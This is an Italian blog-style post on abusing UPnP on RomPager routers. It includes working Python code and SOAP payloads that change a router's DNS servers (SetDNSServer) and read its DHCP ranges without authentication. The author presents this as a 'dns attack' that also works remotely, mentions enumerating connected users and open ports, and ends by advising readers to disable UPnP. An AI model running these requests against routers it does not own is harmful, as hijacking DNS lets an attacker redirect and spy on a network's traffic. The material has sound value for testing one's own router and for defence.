In questi giorni stavo studiando un po' il protocollo upnp
Di questo tipo:
"RomPager/4.* UPnP/1.0"
Dove se upnp è attivo, senza autentificandone si possono avere una serie di informazioni utili in alcuni casi è possibile la modifica di parametri nel router, ripeto SENZA autentificandone [dns attack o.O ]
Non sto parlando del semplice fatto pericolosissimo che se un router ha upnp attivo un virus si può aprire le porte.. ormai questa cosa non viene quasi più sfruttata e si usano reverse connection..
Un software che vi consiglio per testare la sicurezza del vostro router è miranda...
Ma a me non va XD e non va neanche su molti router quindi vediamo come giocae con il protocollo upnp in python dei router con il software sopracitato.
Prima funzione in python per le richieste:
import urllib2
def requestPOST(url,data,headers):
try:
req = urllib2.Request(url, data, headers)
f=urllib2.urlopen(req);
html=f.read();
except urllib2.HTTPError, e:
return str(e);
except URLError, e:
return str(e);
f.close();
return html
Dovremo passargli l'url del router..
esempio:
url="http://192.168.1.1/UD/?4"
Gli headers upnp:
headers={"SOAPAction": "urn:schemas-upnp-org:service:LANHostConfigManagement:1#SetDNSServer","User-Agent":"UpnP-Fuck"}
Dove:
LANHostConfigManagement:1
è il servizio... mentre
#SetDNSServer
la funzione da eseguire...
Mentre i dati da passare, contengono il servizio su cui agire... la funzione e i parametri da gestire:
<NewDNSServers></NewDNSServers>
data="""
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetDNSServer xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1">
<NewDNSServers>8.8.8.8</NewDNSServers>
</u:SetDNSServer>
</s:Body>
</s:Envelope>
"""
Su molti router questa funzione non va come molte altre... vi restituirà un errore 402 o 500 invalid arguments... non chiedetemi il perchèè ... sarà disattivata ...
Mentre su altri andrà da dio
Questa funzione io l'ho presa da:
LanHostCfgMgmt.xml
Che è un file dentro al mio router...che ho ricavato con miranda...
Dentro questo file ci sono elencate molte funzioni .. talvota sono quelle del template upnp... ma vi poso assicurare che le get sono uasi tutte attive.. perciò se vogliamo sapere gli indirizzi dhcp ci basta un:
data="""
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetAddressRange xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1">
</u:GetAddressRange>
</s:Body>
</s:Envelope>
"""
Da qui si possono enumerare gli user connessi al router gli ip riservati le porte aperte e molto altro ancora ... tutto questo anche da remoto
Quindi vi consiglio di disattivare l'upnp